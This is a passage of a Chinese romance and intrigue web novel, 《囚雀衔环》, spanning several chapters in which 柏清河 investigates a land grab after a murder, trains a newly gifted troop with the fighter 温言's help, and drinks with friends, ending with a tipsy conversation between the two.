柏清河大剌剌地挪了个椅子坐下,问道:“你们这是在聊什么?” “刚开始聊呢,你回来得正好,我把事儿跟你俩一起讲了。”董若晴面色不大好看,往日里总浮在脸上的那层笑意不见了踪影。 她用折扇轻敲了下桌面,从昨夜回去后的事儿开始讲起。 她昨夜回去时便揣着满肚子疑惑,虽看似幸运的未被卷入此次事件中,但凭着股敏锐的直觉,她总觉得这事儿不像是单纯的针对那么简单。 柏清河这人平日里虽然确实不着调了点,但并不是个会主动去惹事生非的主,浑身上下最大的问题也不过是年轻,爱玩,有点浑不吝的毛病,很难真的与人产生这么需要见血的恩怨,这是其一。 倘若对方并不是冲着柏清河,而是冲着柏青舟来的,那便更奇怪了。 因为这宴席的主角并不是柏青舟,即使是现在真出了事,旁人也不见得会认为是他的问题。虽不乏谨慎者会私下琢磨,却也并不足以对柏青舟已经成型的生意合作造成过多的实际影响。 若是行事者后续被查出,此番大费周章显然并不划算,这是其二。 贾明虽在死前与诸多人进行过商谈,却独独未与柏家有过牵扯,两方在明面上甚至没有共通之处。因此哪怕是这人惹上了麻烦,也应当有更多更好的时机让他在这皇城里的某个角落悄无声息的死掉,而不是被杀得如此大张旗鼓,这是其三。 这事矛盾之处过多,没法顺着确定动机想,那就只能逆着从结果下手。 至少在董若晴看来,贾明全身上下最有价值的东西,就是他生前捏着的那几块好地皮。 人死了就死了,但土地不是尸骸,这玩意儿没法烧成捧灰也没法带走,最终只会重新变回一个无主之物,等待他人垂青。 柏青舟昨夜已经叫过了巡检司,算算时间,行事迅速的话,今日午时就该出这几块地皮的定价结果了。 于是董若晴决定亲自跑一趟巡检司,碰碰运气。 待她到巡检司说明了来意,里头的小官员立马就给她好吃好喝地招待上了,点头哈腰地道:“诶哟,这事哪值得董老板您亲自来跑一趟,不过是一句话的事儿,我现在就去把还剩着的地皮都拿来给您挑。” “还剩着的?”董若晴面上笑容一僵,心里咯噔一下,“这是还有人来得比我早呢?” “是呢,陆续来了两三个,最晚的半个时辰前刚走,”小官员从身后架子上抽出了一个布袋,翻找后将地契相关内容尽数抽出,双手递到董若晴面前,“来的那几个人看着就没什么钱,挑挑拣拣了半天,最后都只买了一块,还是剩了不少的……” 董若晴哪里还有心思听这小官员在旁边絮叨些什么,接过纸张快速翻阅了一遍,从头看到尾,都没能找到贾明那几块“风水宝地”的影子。 果然,他们之前辛辛苦苦想要议到好价的地皮,全都已经被人捷足先登,给买走了。 “买地的那几个人留的姓名身份我已经派人查到了手,也给你一份,”董若晴将一张叠得规整的纸放上桌案,推到柏青舟面前,“巡检司定好价后进行公开买卖和我到那的时间,前后确实有个时间差,要真是运气足够好,截胡也并非不可能,只是我总觉得这事儿巧……” “嗯,你没多心,这次是我们被打了个措手不及,棋差一招了。”柏青舟摊开纸扫了两眼,便将内容递给了柏清河。 这上面写着的买家都是无甚信息点的普通百姓。 “别着急,也别过于忧心,对方这次能成功靠得是时间差和信息差的双重优势,”柏青舟给董若晴倒了杯茶,轻飘飘地道,“下一次,这招可就没那么好用了。” 茶水温热,飘香四溢。 董若晴也不客气,举杯抿了两口:“是这番道理,我倒也不是为你们忧心,不过是眼睁睁看着发财的机会从面前溜走了,难免有些沉不住气。” 柏青舟不由得失笑,柏清河则直到阅读完了纸张内容,才顺嘴出言调侃:“董老板又不缺钱花,流小财不易动怒,气大伤身呢。” “柏二少爷,你爱钱钱才爱你,懂么,”董若晴抬手,扇子掩唇,克制地丢给了对方一个嫌弃的眼神,“况且府中一群豺狼虎豹,一边见着你就张嘴要饭一边还盼着你人财两空才好,我本还指着这两块地偷偷给自己多攒点嫁妆的……哎。” “这话说的,以董老板现在的身家,嫁妆都会是皇城女子里的独一份贵重了……” 两人接下来还有其余要事相商,于是柏清河很有眼力见的出了书房,将那张纸递给了望尘,让他帮着去探查一下,说不定能有什么新发现;自己则是溜溜哒哒地回了房间,换了身衣服,沾床躺下了。 他一静下来,脑子里便再次闪过今日午时与温言在酒楼里,对方拿着筷子在他掌心里写字的情形。 短短两字,竟是在他脑中盘旋数次不下。 柏清河本有犹豫要不要将此事与他哥和盘托出,但思来想去,总觉得这两字完全没法跟现在这事儿联系在一起,更何况他在此之前便已经有意隐瞒了温言的存在…… 于是他兀自琢磨了一阵,觉着这可能只是温言看在一顿饭的面子上送他的私人线索,便沉默着没抖出来。 可这到底是什么意思? 柏清河伸手在空中模仿着温言的笔画顺序,又在心中将字咀嚼了几遍。 影子。 - “你这人还挺有意思,”锦桢关上雅间的门,又摸回了温言顺手放于桌面的烟枪,拿在手中把玩,“明明前两日才让我调查过他,结果这么快就被我抓到了与对方成双入对……啧。” 被对方一路跟随也能算是“成双入对”? “……少将你的妄自猜测说得言之凿凿,”温言寻了个位置落座,“是他自己好奇心太重,碰着点事儿就跟块贴在身上的狗皮膏药似的,甩都甩不掉……” “柏……清河,是叫柏清河对吧,”锦桢曲起手指敲了敲脑门,“你当然甩不掉他,从我多年观察皇城众人的言行举止的经验看来,基本可以断言,这人就是冲你来的……” 温 11. 训兵 《囚雀衔环》全本免费阅读 柏清河有意顶着避风头的借口窝在家里,无所事事好几日后,等来了一个“晴天霹雳”的消息。 “哥,我再确认一遍,你是认真的吗?”柏清河有些不敢置信地用手指了指自己,“你要我在这个节骨眼跑去训兵?” “这事要是被发现了就是谋反,是要诛九族的重罪!” 他之前怎么没发现他哥胆子有这么大呢。 “人不在皇城内,在北边城郊的一片密林里,灯下黑,发现不了。”柏青舟摇了摇头,语气十分理所当然地说道,“爹既然把这队兵马送你了,自然就该由你来管。而且这帮人普遍都是新兵,你要是再不及时去树立威信,放养个几天,就可以让他们直接原地解散了。” “这老头送礼怎么还送这种得我自己来练的,真麻烦……” 柏清河小声嘟囔了两句,心里却清楚这种事没法假手于人,只能自己硬着头皮上。 “去换身衣服再出门,给他们留个好印象,万一未来遇着事儿了,这帮人是要跟着你出生入死的,”柏青舟意味深长地看了眼自家弟弟,挥挥手,把人赶回了屋里,“记着,遇到任何问题,都得自己想办法去解决。” 柏清河:…… 合着这是一点忙都不准备帮了呗。 他算是有点明白自己这喜欢当甩手掌柜的性格是从哪儿来的了——分明就是家族遗传么! - 温言最近也算是进入了“淡季”,普通的小打小闹和地下赌坊的接单都轮不到他头上,真真切切地体会了一把清闲日子。 他不喜欢呆在屋里,抬头入目即是横梁,引得有些没来由的胸闷,索性揣着包零嘴,溜溜哒哒地出了门。 除了零嘴吃食,他对其余事情的物欲在普通人中算是极低,没什么逛街的兴趣,自然懒得往城中走,而是拐了个弯,绕去了城郊那一大片树林。 这地方阳光好,树木个个都长得枝繁叶茂,漏下来的光斑打在脸上也不照人,是个闲暇时分晒太阳的好去处。 温言这会儿倒是不嫌脏,几个起伏便翻上了树,挑在一个粗壮的枝干上打起了盹。 ……直到被一阵吵吵嚷嚷的吆喝声弄醒。 温言往树下看去,只见几个男的围在一块儿,似乎是在讨论着什么,语气中似乎都有些愤懑。 “疯了吧,让那个柏清河来管我们?” “我可是因为崇拜柏大帅才来的,结果现在倒好,没见着大帅的人,还被分到了这养尊处优的混小子的队里……他能懂个屁的打仗。” “我看就是让柏青舟那个瘸子来都比他柏清河要有用些……” “柏清河在这皇城里可不就是出了名的没用,我们跟着他,以后的名声算是倒大霉了……” “可不么,比起管我们,他还是先管好自己别总去找姐儿喝酒才好呢……” “哈哈哈哈哈……” 几个男人嘴上越说越起劲,惹得周围其余人也跟着一起哄堂大笑起来,在这片富有恶意的喧哗中,只有一位看起来才十五六岁的小孩儿一直抿着唇,没吭声。 温言好整以暇地靠在树上听,内容没怎么往脑子里过,反倒是多看了两眼这小孩。 柏清河就在这股声音中姗姗来迟地登场了。 他拍了拍手,才算是换来了众人汇聚的目光:“哟,人来得挺齐啊。” 柏清河身后跟着望尘,两人皆是骑马来的,待他下马站定,环视一圈的同时,望尘已经在树下拴好了马,随后垂首规矩地站在了一旁。 柏清河好似完全没有察觉到这些人眼里的不屑和嘲讽,毫不在意地绕着站在最前面的几人走了一圈,像巡视领地的领主,末了才点点头,回到了这片树林的入口处。 这天可真热。 柏清河的目光无意间往温言坐着的方向瞟了一下,没来由地想,竟然都给他热出幻觉来了。 “我知道你们都不服我,觉得我不配管你们,没事,我懒得跟你们这群眼高手低的废物计较。” 柏清河难得有了正色,话中带刺,刺得那几个男人面上瞬间有些恼怒,可看着对方双手抱胸、站得笔直的模样,又没人敢真的上前挑衅,只能任由柏清河接着说下去。 “我也知道要当一个文韬武略的好将领很难,比得是文武双全,缺一不可。文,我很难在眼下给你们这帮说不定连学都没上过的莽夫展示,这东西难说通,还得等诸位耐心些,未来且行且看;武,就很简单了,说不如做,我们采取一个更简单更直观的方式……” “来,诸位,麻烦往两边散开,”柏清河伸出手,做了个往两边扒拉的手势,面前这群人脑子里还转着他刚才那番话,下意识地选择跟着照做,“对,很好,看来在执行军令这一块还算不错……” 男人们等到站定,才恍然反应过来——这柏二少爷对待他们的说话方式,跟对付顽皮小孩的那种打一棒子给颗甜枣的教育方式有什么分别! 这甜枣甚至都是甜里带刺的!吃了扎嘴! 可柏清河没准备留给他们暴起反抗的时间,卡着时机丢出了下一条指令:“就挑在这中间的空地打擂台好了。” “君子赌约,打赢了,要走要留,悉听尊便;打输了,烦请见谅,未来可就得作为手下败将在我柏清河手底下当牛做马了。” 男人们面面相觑,像是在用眼神交流着什么,最终一个男人被选为了小领头……也有可能是小出头鸟,向前一步站了出来,恶声恶气地问道:“打就打,跟谁,跟你吗?” 这些人就算是再不了解柏清河的底细,多少也听说过皇城里的柏二少爷自小比武便战无不胜的名头;长大后偶尔被拉出来比试,也是从无败绩,算是难得的威名远扬……否则就这么个成天喝酒的纨绔,根本不值得如此遭人忌惮。 想到这一茬的男人,问完话又不由得有点发怵,后悔了。 “不,就你们这细胳膊细腿的身板,两方实力差距太大,打起来跟欺负人似的,没意思。” 柏清河摇头,语言轻蔑,却给对方重新燃起了希望的曙光。 他抬手指向那边树上的身影,说道:“你们跟他……跟我高价请来的军师打。” 温言正仰头往自己嘴里丢着山楂,饶是这个距离,他也能听清对方指着自己说了什么,不由得呛了一下。 这柏二少爷当真是个见不得人好的混球,非得把他这安安静静坐着看戏的闲人拉入局做什么? 柏清河才不管温言脑子里正在想什么,他快走几步来到树下,好像又在这极短的时间内从正经严肃的柏清河变回了那个温言熟悉的柏二少爷。 “劳烦这位军师,赏个薄面?” 柏二少爷站在树下,仰起头,笑得颇有些玩世不恭,随后伸开双臂,摆出一副忧心对方失足的环抱姿势。 温言:“……” 于是这位“军师”泄愤似的,将手里的零嘴袋子丢入柏二少爷怀中,力道不小,砸得对方微微拧眉;自己则是从树的另一边一跃而下,懒得多给这个在前面耍尽威风还给他乱扣帽子的柏二少爷一点面子。 “高价请来?” 温言落地后与对方擦肩而过,哼了一声:“几日不见,柏二少爷胡言乱语的本事可真是见风长啊。” “我知道你身手好,温公子就权当帮我这一回嘛,”柏清河面上还是那副笑脸,手里拎着对方砸来的袋子,“救人水火感激不尽,之后真给你结工钱。” 他这法子其实是刚才灵机一动想出来的。 因着之前两人交手时,周围黑灯瞎火,他无从看清对方出手的具体招式,打来打去,一小半靠看,更多细节靠猜;但倘若今天能让对方出手,光天白日,他说不定就能好好琢磨一番。 “我的工钱一般按人头数算,”温言抬眼往前面的人群里扫了一圈,“柏二少爷,做好倾家荡产的准备了吗?” 柏清河立马叫苦不迭:“劳烦温公子给个友情价,五折,怎么样?” 温言:“……” 那几个男人看着温言朝他们走来,也有些摸不准这柏清河的路子,心里不约而同地想:这个看起来顶多算是个花拳绣腿的瘦小子是从哪儿冒出来的?以及他们怎么就莫名其妙多了个军师了? “柏二少爷,你要是真不想带兵可以 12. 风动 《囚雀衔环》全本免费阅读 “我靠……少爷,这是你从哪儿找的人啊,也太能打了……” 望尘再一次拖走了一个飞出擂台后没能站起来的男人,将人挪到了一旁倒着的人堆里,听着此起彼伏的哀嚎声,龇牙咧嘴地回到了柏清河身边。 “少爷,这都是第几个了……我不行了,拖都要拖累了……” “我也没数,”柏清河随口应道,眼中却没有任何不耐或失望,语气里反而透着一股淡淡的赞赏,“这群人倒是比我想的要有骨气。” 他原以为这群人会选择直接跪地投降,没想到竟然前仆后继地坚持到了现在……虽然也是无用功,但总归还算是能收为己用。 打架么,看的不仅是实力,也是一种气魄。 一遇到赢不了的情况就立马告饶的孬种他柏清河看不上,自然也不屑于用——这种人未来真碰上事儿了,只会成为动摇军心、拖后腿的累赘,还不如趁现在直接筛选掉。 因此他本想着,这种嘴上叫得欢、身上也没几分真本事的,估计看到前两个被打得满地找牙后就该想想跪地求饶的措辞了;结果直到现在,这群莽夫确实如他预料的那般无甚本事,但大部分哪怕是吓得腿肚子发软,也还是拼着口气站上了台…… 虽然不到十秒就被温言像扔沙包似的扔了出来…… 但身手,技巧之类的东西都能练,柏清河要的就只是这股不服输不认命的气。 他宁可从头开始训练这群百无一用的莽夫,也不愿意沾一点遇事就跑的懦夫。 柏清河咂咂嘴,心里盘算着。 不愧是他爹送来给他的人,原来还真是挑选过的……之前倒是误会了他老人家的一片苦心了。 温言看着面前这个哆哆嗦嗦的男孩,对方不过才十五六岁的年纪,眼神里闪烁着恐惧,目光却一错不错地盯着他瞧,动作飞快地双手合十,点头作揖道:“军师,下、下手轻点……我怕、我怕疼……” 温言不由得觉得有些好笑,这小孩儿之前在人群里便由于年龄和一言不发的性格显得格格不入,现在这股违和感更甚,他完全想不明白,为什么这种性格的小孩会被送来此地。 大抵也是身不由己。 温言想着,不免生出了点怜悯之心。 “你叫什么名字?” 他轻声问道,言语间倒真有几分装出来的为人师表的温和做派。 男孩一愣,满载的警惕心显然被这问题分了神,抖着声回道:“我叫……周泉。” “好,我记住了。”温言说着,伸手握住了对方的手腕,将小孩儿的双手分开,动作轻缓地帮对方调整到了标准的格斗式姿势,再示意对方握拳。 “对,就这样,然后……挥拳!” 周泉整个人像是突然落入了温柔乡,只觉得对方走近时吹过的风都是暖的,少了几分之前远观时留下的凶神恶煞的印象,于是举止间更为不知所措了起来,只剩耳朵尚且能听话听音,对方说什么,他就下意识地跟着照做了。 “很好。” 温言轻笑一声,抓着周泉伸出的手臂往旁边一推,同时伸腿绊住他下盘,借着力道,将对方瘦弱的身板直接打横;下一秒脚下蹬地,腰部发力,将人直接抡了出去。 柏清河见势不妙,一把拽过身边望尘的肩膀将两人位置对调,远离了这飞来的“沙包”,徒留望尘一个人被撞了个满怀,后退好几步,差点直接跌坐在地上。 下次少爷若是再带自己来干这种苦差事,他指定要忽悠望洋陪着自己一起来,否则这腰迟早要被他们折腾断了…… 望尘只能这么在心里骂骂,隔着衣服揉了把肋骨,扶着树,咳嗽了好几声才缓过劲儿来;那飞来的小孩儿一骨碌从地上爬了起来,在旁边连声作揖,嘴里翻来覆去地说着“抱歉”。 柏清河哪有空管得了望尘那家伙心里的小九九,目光投向温言,两人所隔不过数十步之遥,“沙包”带起的风慢了半拍拂过他的脸颊,混着泥土和草地的清香。 柏清河却只觉得温言其人好像从未像现在这样意气风发过,浑身难得透着股符合年龄的张扬劲儿,不再是那个话不投机半句多,聊什么都毫无波澜的温公子。 温言眼皮一撩,无疑是感受到了柏清河的目光,气定神闲地与之对上了视线,甚至朝对方勾了勾手指;阳光从他的后背洒落,映得人连飘起的发尖儿都像是绑上了塞着亮片的铃铛,一步一摇,无法言说的闷响顺着风飘进心里,落下富有余韵的尾音,晃得他不免有些心驰神往。 半晌后,他才努力在这幻想中的“亮片”丛里挣扎脱了身,从嗓子眼里找回了自己的声音。 “哟,军师这是冲我宣战呢?” “是啊,”温言挑了挑眉,看上去心情不错,“一起上的只算一单,共六十四单,柏二少爷等下可别忘了把工钱结给我。” “……” 柏清河前脚刚觉得对方被阳光衬得毛茸茸的,有些不似俗物的可爱,结果这人一开口,又给他瞬间打回原形了。 他上前几步道:“打个商量啊军师,若是我赢了,工钱可否再打个对折?” “……柏二少爷,这么缺钱可就没法谈了。” 温言说话的同时,手上也没闲着,待柏清河站定,他就直接一拳迎了上去,逼得对方只能伸手格挡。 “好啊,那就不谈这个,谈点别的。” 柏清河手脚动作迅速切换着,几个回合下来,竟然硬是扛住了攻势,没有后退一步。 温言踢腿带出的风刮过他的发梢,柏清河蹲下身偏头躲过,两人的距离却被无形中又拉近了两分。 柏清河轻笑一声,手肘向下顶向温言腰际,却在下一秒就被对方伸手按住。 眼见一击不成,他随即见缝插针地问道:“温言,你为什么总在看我?” “温言”二字被念得轻缓,全然不同于对方往常轻佻着喊“温公子”的语气,其间含着笑,像是撩拨间的呢喃耳语,带着根令人想入非非的钩子,就这么直直撞入了耳畔。 温言本人立即向后仰头,像被火燎着了般,想要拉开两人的距离,却给了柏清河乘胜追击的机会。 柏清河下手半点没留情,温言每每需要全神贯注地抵挡时,他偏生嘴上还要说些有的没的的浑话:“军师怎么不说话了?见谅,那我可就要乱猜了……温公子,你莫不是看上我了?” “偶尔瞥你两眼却总能对上视线,柏二少爷说话可得分点黑白,咱俩到底是谁在盯着谁看,”温言脚下动作一顿,弯腰矮身避过了对方带着劲风的拳头,伸腿想绊对方下盘,期间忍不住回嘴道,“当真是看不出来,柏二 13. 玩笑 《囚雀衔环》全本免费阅读 成交归成交,柏清河姑且还算是有点良心,是他坑人在先,承的情自然更是要还。 于是柏清河在三言两语把后续事宜安排妥当后,便将摊子甩给了望尘,说话期间目光频频扫向温言,像是生怕自己一个不留意,对方就会瞬间遁地跑了似的。 待处理完后更是直接走到温言面前,有些干巴巴地开了口:“怎么这么安分,等我呢?” 温言正靠在树干上跟周泉说话,这孩子脸皮薄,动不动就脸红,对于苦厚脸皮久矣的他而言自然十分有趣;见柏清河走了过来,才冲着对方甩了甩手中刚折的小树枝,答道:“是啊,等你付工钱呢。” “……之前怎么没发觉你是个这么庸俗的人,三句话不离钱,”柏清河气得磨牙,心里那点旖旎瞬间散了,伸手将人拽向自己,“先欠着,吃了饭再还你。” “柏二少爷,要陪吃饭得加钱。” 温言意外碰着了对方一戳就炸毛的痛处,难得占了上风,自然忍不住去多戳两下。 柏清河拉着人就往外走:“加个屁,带你吃‘庆功宴’去。” 哦,这是还人情呢。 温言回过味儿来了,忍不住叹道:“就这么点小事,柏二少爷可真是奢靡啊。” 柏清河鲜少在口舌之争上落过下风,索性闭嘴翻身上了马,伸手示意对方也坐上来。 温言看了一眼:“我不跟你坐同一匹。” “那匹可是望尘的爱驹,你要是给骑走了,他说不定会哭的,”柏清河指着另一匹被拴住的马,一脸认真地说道,“他今日可是受累在帮你扫尾,温公子行行好,就别再折腾他了。” 温言:“……” 柏清河趁势拍了拍马鞍道:“我这匹也算是能载两人不在话下的良驹,温公子不如勉强将就一下?” 话都说到这份上了,若是不将就,好像也没了别的办法。 于是温言只好翻身上马,坐在了马鞍前侧。 柏清河唇角勾起一抹笑,抖着缰绳,策马从城郊一路疾驰。 盛夏暖风扑面,林间树叶声簌簌,身后人的炙热呼吸不时喷洒于耳畔,使得温言全程绷直了脊背,身体僵硬,即使入城后马匹速度骤减为踱步,慢腾腾地从不时侧目的人流中走过,他也未能放松下来。 柏清河倒是心情颇好地在身后哼着小曲,眼看温言不太适应周遭人投来的目光,才出言挑了个话题转移对方的注意力:“你猜猜,我们这是要去哪儿?” “柏二少爷挑的地方,自然是好地方。” “得了吧,这种时候还记着打官腔,”柏清河笑了两声,低声道,“只怕是要让温公子失望了,不过是老地方,彭景他们约的。” 温言皱了皱眉。 “我明白你想说什么,温言,你知道‘逢场作戏’这四个字吧,”柏清河一手拽着缰绳,将马停在青鸢阁门前,两人翻身下马,让小二将马匹牵到后面去,“况且今日是彭景买单,咱们只用白吃白喝就成……” “他们几个人之前吃了我那么多次酒钱,这次你可得多吃多喝点,专挑贵的喝,咱俩争取一起喝空彭景的小金库。” 温言:“……” 他怎么记得这人先前说的是带他去吃庆功宴…… 合着这个“带”还真不是“请”的意思。 ——真是好一招光明正大的借花献佛。 “抱歉抱歉,路上迟了。” 柏清河一把拉开雅间的门,领着温言走了进去。 “说什么客气话,你柏二少爷未到,咱们都还按着酒没开始呢。”彭景晃了晃手中的空酒杯,直到柏清河走近,才看清对方身后带着个人,而且怎么看怎么眼熟,一拍脑门,才想了起来。 “哎哟,这不是上次碰到的那个……” “是,”柏清河落了座,示意温言坐在他旁边的空位,介绍道,“这位是温言。” 接着又装模作样地将面前几人给温言介绍了一遍。 “温言,温公子,真是好名字,”彭景笑了下道,“之前子鹏还念叨呢,说温公子长得俊俏,一直想寻个结识一下,现在倒好,机会这不就送上门来了。” 李子鹏自从温言进门后,就不时拿眼神往对方身上瞟,这会儿被点了名,直接让旁边的姐儿给他倒了杯酒,大大方方地端了起来:“在下李子鹏,幸会。” 温言在这种场合下向来惜字如金,只是略一点头,饮了面前的酒,就算是打过招呼了。 “彭公子,这么多人,酒怕是会不够喝呀,”宋小姐倚在彭景身上,捻着手帕说道,“要不阿宋再去找人拿点来?若是各位爷等下喝得不尽兴,可就是阿宋招待不周的罪过了~” “还是我的阿宋贴心,想喝什么,你去挑,随便挑。”彭景揽着对方的腰,将人拉入怀中,以一种近乎是唇齿相贴的距离厮磨了好一会儿,才重新将人放开,让对方端酒去了。 温言期间始终刻意低着头,没投去一分视线。 柏清河倒是没这非礼勿视的禁忌,拿着酒杯撞了下温言的杯子,吸引了对方的视线:“算我敬你,咱俩喝一个?” “柏二少爷客气。“ 温言哼笑一声,酒杯相碰,仰头一饮而尽。 “怎么,怎么光是你俩喝,也带上我嘛,嗝,”杨恒平日里是他们中最克制的,往常都是靠他把喝得不省人事的李子鹏送回府,因此这人即使酒量不好,也从未喝得酩酊大醉过,现在却不知怎么的,一杯接一杯,直喝得两颊绯红,明显是已经喝高了,大着舌头重复道,“带,带我一个……” 这人伸手就要来抓温言的杯子,好在温言眼疾手快地抽回手,才没让醉鬼得逞。 一次不成,杨恒也不是个善罢甘休的,非要指人轮流陪他一杯杯的喝,但凡谁拒绝或是喝慢了,就要被抓着衣领子往里灌,活像是性情大变,白酒成精…… “他怎么了这是?”酒过三巡后,柏清河也被迫灌下了好几杯,才总算是得了说话的空,冲着另外几人问道,“难不成是家道中落,要被逐出皇城了?” “那倒没有,没这么严重,”彭景也有点喝上脸了,指了指胸口,哼出了几声嘲笑,“心疾呢,情伤难医,他看上人家姑娘了,非说什么一见钟情,结果人家根本理都不理他,满腔柔情无处抒发,只好借酒消愁咯……” 李子鹏想跟温言搭话,特意端着酒杯,顶着张笑脸挪到了对方身边,冲人问道:“温公子不妨猜猜他看上谁了?” 温言适才为了让自己显得不那么格格不入,也跟着碰了几杯,算是给足了面子,但他其实并没那么快就适应这种场合,想要侧身挪开距离却又怕动作太明显…… 两相僵持之下,柏清河正巧从旁伸手给李子鹏倒了杯酒,引走了对方的注意力,接了这个话茬:“谁啊?只要不是那些个名门大户,还能有他拿不下的姑娘?” “你瞧,还真给说对了,可不就是名门大户,”彭景拍了拍柏清河的肩膀,笑得更大声了,“大到就是你柏二少爷碰上了,说不定都得碰壁。” 此话一出,哪还有什么好猜的,答案直接跃然纸上了。 杨恒这倒霉孩子,看来是看上董若晴了,结果碰了一鼻子灰,现在在这儿借酒消愁呢。 “嚯,我说怎么今儿突然这么好兴致地拉我来喝呢,”柏清河点了点头,也算是敬佩杨恒勇气可嘉,“原来是来喝忘情酒的。” “可不么,我们这帮人喝酒,怎么能少得了你柏二少爷,”彭景有些嫌弃地拍了把杨恒的背,“杨恒,你他娘的怎么还哭上了……” “正所谓天涯何处无芳草,何必单恋一枝花,”李子鹏也在一旁出言劝道,“我看这温言就生得比那董若晴好,这双桃花眼长得,真不愧对‘眉眼如画’四字,杨恒,你让你身边这群姐儿腾个地儿,让他来陪你喝……” 李子鹏脸颊泛红,还在那喋喋不休地说着,彭景却悄悄瞟了眼柏清河的脸色——他本就有些不确定对方带人来参加他们这帮人私下见面是顺手而已还是有意为之,因此先前说话也不敢太过放肆,就怕触了对方的霉头,惹些没必要的麻烦。 但如今酒过三巡,眼看着酒量差点的全都喝高了,众人兴致正好,李子鹏口无遮拦的把玩笑直接开到了温言头上,都没见柏清河有半点表示,说明对方的来头和地位并不高,想必也并未得到柏清河的重视,否则现在肯定是得出面打圆场的。 彭景这般想着,心 14. 醉酒 《囚雀衔环》全本免费阅读 柏清河喝高了,温言可没法把这位少爷捆在马上送回柏府,于是两人就这么一蹲一站地靠在墙边,等待望尘骑着爱驹前来接走他这位不靠谱的主子。 柏清河随手折了根树枝,就这么半点形象也无地蹲在地上,时不时折腾两下落叶,也不知到底是在比划些什么。 他其实能察觉到自己的意识并不像往常那般清醒,周遭好像出现了许多他来不及思考明白的事情,就连反应也慢了半拍,应该……不,肯定是喝多了。 可看着温言好端端地站在旁边,一副没事人的样子,他心里又产生了些微妙的胜负欲,非常不愿意承认这个显而易见的事实——明明他俩都跟酒不要钱似的往肚里灌了好些杯,喝的量半斤八两,凭什么就他醉了?! 他不服。 如果再给柏清河一个清醒的脑子,他是绝对、怎么也想不明白自己为何非要在这种事上较劲、争个输赢的……这简直莫名其妙;但醉鬼的逻辑并不需要理由,永远都能自圆其说。 ——总而言之,就是不服。 温言双臂抱胸,对方不说话,他便也只是在一旁安静地站着,站了好一会儿,才低头去观察柏清河用树枝将落叶翻来覆去地戳,也不知道这人心里到底有什么气,非得朝着落叶撒…… 直等到对方将落叶戳了个大裂口,差点在这被迫的“同类相残”中直接被“腰斩”了,才实在是看不下去,开口劝道:“行行好吧,柏二少爷,再这么下去枯叶都得被你给折腾成八瓣。” 于是柏清河动作一顿,手中的树枝仍在地上不甘心地点了点,过了好几秒,才仰头望向温言。 这个对视的角度很新奇,平日里的柏清河总是站着的,他个头比温言高,足高出了半个头,因此往常只有温言抬头跟他说话的份,如今高低位置调转,温言才后知后觉品出了点不一样的感觉。 讲真,温言始终认为柏清河是一个存在感很强的人,强到即使是将此人丢入茫茫人海中,他也会理所应当地将视线聚焦在对方身上。 当然,他这种判断也可能有失偏颇,毕竟他看人的方式与普通人不尽相同,往往在望向对方的第一眼时,最先审视的并不是那人的外貌或穿衣风格,而是身体素质及威胁程度——很不巧,这两者柏清河都占了上乘,更不巧的是,两人还没来得及了解对方,甚至都没怎么见过面,就先打了一架…… 宴席上的那次交手更加证实了温言的想法,也使得他在后续跟对方的接触中都不由自主地提起了十二分精神。 再后来,他便找了锦桢,查了查柏清河这个人到底是怎么长大的,长成了这么个会演戏的好苗子,平日里鬼话说得比唱得还好听。 结果不出所料,柏二少爷是浸在“爱”这个蜜罐子里长大的,小时候上树掏蛋、逃学翻墙那都是家常便饭,反正父亲罚他时母亲会急着来劝,最多不过挨一顿打,也就不了了之了;长大后为其撑腰的人又多了柏青舟这么个哥哥,对他的“放纵”也到了一种几近溺爱的程度,具体表现为无论柏清河做了什么,都能抱着“睁一只眼闭一只眼”的好心态,偶尔甚至还愿意腾出手来帮他收收尾,简直是堪称老妈子般的行事风格。 ——这大概便是柏清河在某些情况下会展露出他被保留下来的孩子气,跟董若晴那种已经在这般年纪就变得处事老练的人有所区别的根本原因和底气。 也正因此,皇城内几乎所有人都觉得,完了,柏清河这孩子被养废了,都长这么大了还这么能惹事,完全比不上他的哥哥和其余世家培养出的同龄人,不足为惧,也就都没再将他放在眼里。 而由于温言是在很短的时间内大量地扫读完此人整整二十年的全部经历,才在把内容一页页烧毁时恍然惊觉,柏清河其实远没有世人想象中的那么不学无术。 这点其实很好证明,但凡有个人仔细琢磨一下,就会发现,此人行至目前,最被诟病的不过就是整日里喝酒划拳——说到底,这只是世俗眼里品行不端的行为,而他实际上并没有犯过任何一个真正的“过错”。 从来没有。 因此温言才会觉得这人是个不得不留意的隐患。 而一旦沉浸在了这种戒备中,柏清河在他心里的形象便被打上了标签,逐渐有些固化了——虽然此人每次见面都会给温言带来一些颠覆和意外,将那看似贴得牢不可破的“标签”撕下来一个小角,但这番行进速度实在太慢,又带着点润物细无声的透明感,导致温言自己其实一直没能觉察。 直到现在,温言自上而下地看着柏清河整个人蜷成一团蹲在地上,深色的外袍随风飘动,仰起头,视线一错不错地盯着他瞧;酒劲儿后知后觉地漫上此人脸颊,风一吹,连总被碎发盖住些许的额头都被夕阳给面子地镶了层金边,整个人橙里透粉,看着暖烘烘的。 就是这场景出现的时机不太好,顶着盛夏,只让人觉得燥得慌。 这人可真有意思。 温言在心里兀自想着,明明平常那么努力地将自己装成个花架子,一开口便花言巧语满天飞,完全像是只憋了一肚子坏水的狐狸;现在倒好,金光一照,跟被剖了肚皮似的,还真给他透出了几分天真无害的感觉来。 可惜……就是不知道是真是假。 现在的柏清河心里哪能绕得来这些思绪,他伸出手,小幅度地上下招了招,示意温言也蹲下身来。 此人之前的胡言乱语和眼下这种小孩儿献宝似的行为加在一起,让温言更加坚信对方已经完全成了个心智退化的醉鬼,于是放松了戒备,一撩衣摆,顺着对方的意思蹲了下来,迎上柏清河的目光,问道:“你想要我看什么?” “不,不是要你看什么,是我想看你,”柏清河随手用树枝拂开了地上七零八落的枯叶,好像那些奉献己身陪他度过了十分钟胡思乱想时间的枯叶已经完成了自己的使命似的,不会再分走他的一丝目光,“你太高了,得蹲下来,我才能看清楚。” 看清楚什么? 温言没能理解对方的意思,但他姑且明白着一个道理:在这种情况下,首要选择是满足醉鬼的要求,而并非询问理由——指不定醉鬼自己都想不明白答案呢,问也无用。 因此他就这么好脾气地蹲着,一动不动,任由对方的视线在自己脸上浮动,跟巡视似的。 “我在想……” 柏清河的目光突然闪过了一丝清明,但这瞬间实在是太快,快到温言根本没来得及捕捉,就又变回了那副醉醺醺的样子,慢吞吞地说着:“我刚才就觉得……你好眼熟,我们,我们曾经是不是见过?” 温言显然没料到对方会突然说这种话,不免有些诧异,心里窜尖似的冒出了一个存在性微乎其微的可能,心念电转间,又很快地将对方这提问圆了回去。 